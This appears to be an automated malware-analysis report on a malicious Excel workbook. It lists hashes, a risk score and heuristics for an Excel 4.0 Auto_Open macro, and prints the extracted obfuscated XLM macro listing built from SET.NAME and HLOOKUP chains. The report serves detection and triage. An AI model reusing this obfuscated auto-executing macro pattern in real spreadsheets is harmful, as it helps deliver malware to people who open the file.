Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cee54f4ac352fc91…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:03 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 5494dd58474c7d35c7ee672d9cf8b109 SHA-1: 56c37f27adb9df0665196b238a13ba971c682c13 SHA-256: cee54f4ac352fc912d529a6754b0612c5fdd065e2f86eef8384b0ac1d1c114f3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6695 bytes
SHA-256: 3dec0cf158df8d1e2d928f69f5bb72e3cf5c73ac334aa4214082bf10cfa08c14
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aRPNAjS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B147 
' 0018     24 LABEL : Cell Value, String Constant - bpKIBYLfU len=0 
' 0018     22 LABEL : Cell Value, String Constant - CPuqxvj len=0 
' 0018     27 LABEL : Cell Value, String Constant - DavBMLHfjAvA len=0 
' 0018     23 LABEL : Cell Value, String Constant - GNPqoMbc len=0 
' 0018     23 LABEL : Cell Value, String Constant - iBzUQrqb len=0 
' 0018     26 LABEL : Cell Value, String Constant - KuDkrttCQEj len=0 
' 0018     20 LABEL : Cell Value, String Constant - lBLfN len=0 
' 0018     21 LABEL : Cell Value, String Constant - lHPyhE len=0 
' 0018     23 LABEL : Cell Value, String Constant - LXSmwPdB len=0 
' 0018     23 LABEL : Cell Value, String Constant - MTNMvTxA len=0 
' 0018     25 LABEL : Cell Value, String Constant - opNiBCZwWQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - OwoUBuUBpA len=0 
' 0018     20 LABEL : Cell Value, String Constant - pgoos len=0 
' 0018     27 LABEL : Cell Value, String Constant - qLkUdnrGTjth len=0 
' 0018     21 LABEL : Cell Value, String Constant - suYCvm len=0 
' 0018     24 LABEL : Cell Value, String Constant - tZLQGyTZC len=0 
' 0018     20 LABEL : Cell Value, String Constant - UdgOh len=0 
' 0018     21 LABEL : Cell Value, String Constant - uLcmRv len=0 
' 0018     25 LABEL : Cell Value, String Constant - wtLkyEssGe len=0 
' 0018     26 LABEL : Cell Value, String Constant - xqWiabLHODu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aRPNAjS,P57,"",829.00000000000000000000
'  aRPNAjS,P58,"",-251.00000000000000000000
'  aRPNAjS,B59,"SET.NAME("UdgOh",0+VALUE("0"))",""
'  aRPNAjS,P59,"",-648.00000000000000000000
'  aRPNAjS,P60,"",-970.00000000000000000000
'  aRPNAjS,B61,"SET.NAME("uLcmRv",UdgOh)",""
'  aRPNAjS,P61,"",11.00000000000000000000
'  aRPNAjS,P62,"",-362.00000000000000000000
'  aRPNAjS,B63,"SET.NAME("DavBMLHfjAvA",UdgOh)",""
'  aRPNAjS,B67,"SET.NAME("qLkUdnrGTjth",COUNTA(KuDkrttCQEj))",""
'  aRPNAjS,B72,"SET.NAME("pgoos",COUNTA(LXSmwPdB))",""
'  aRPNAjS,B77,[],""
'  aRPNAjS,B81,"SET.NAME("tZLQGyTZC","")",""
'  aRPNAjS,B86,"uLcmRv",""
'  aRPNAjS,B91,"SET.NAME("MTNMvTxA",HLOOKUP("*",KuDkrttCQEj,uLcmRv,FALSE))",""
'  aRPNAjS,B96,"lBLfN",""
'  aRPNAjS,B98,"SET.NAME("suYCvm",UdgOh)",""
'  aRPNAjS,B101,[],""
'  aRPNAjS,B103,"suYCvm",""
'  aRPNAjS,B105,"lHPyhE",""
'  aRPNAjS,B107,"wtLkyEssGe",""
'  aRPNAjS,B111,"OwoUBuUBpA",""
'  aRPNAjS,B114,"SET.NAME("iBzUQrqb",VALUE(HLOOKUP("*",LXSmwPdB,OwoUBuUBpA,FALSE)))",""
'  aRPNAjS,B116,"CPuqxvj",""
'  aRPNAjS,B118,"tZLQGyTZC",""
'  aRPNAjS,B122,"DavBMLHfjAvA",""
'  aRPNAjS,B124,NEXT(),""
'  aRPNAjS,B126,"opNiBCZwWQ",""
'  aRPNAjS,B130,[],""
'  aRPNAjS,B134,"xqWiabLHODu",""
'  aRPNAjS,B139,NEXT(),""
'  aRPNAjS,B143,RETURN(),""
'  aRPNAjS,B175,"SET.NAME("bpKIBYLfU",B59)",""
'  aRPNAjS,B178,"KuDkrttCQEj",""
'  aRPNAjS,B182,"SET.NAME("LXSmwPdB",R40C13)",""
'  aRPNAjS,B185,"SET.NAME("xqWiabLHODu",193)",""
'  aRPNAjS,B188,"SET.NAME("GNPqoMbc",2)",""
'  aRPNAjS,B192,bpKIBYLfU(),""
'  aRPNAjS,B193,HALT(),""

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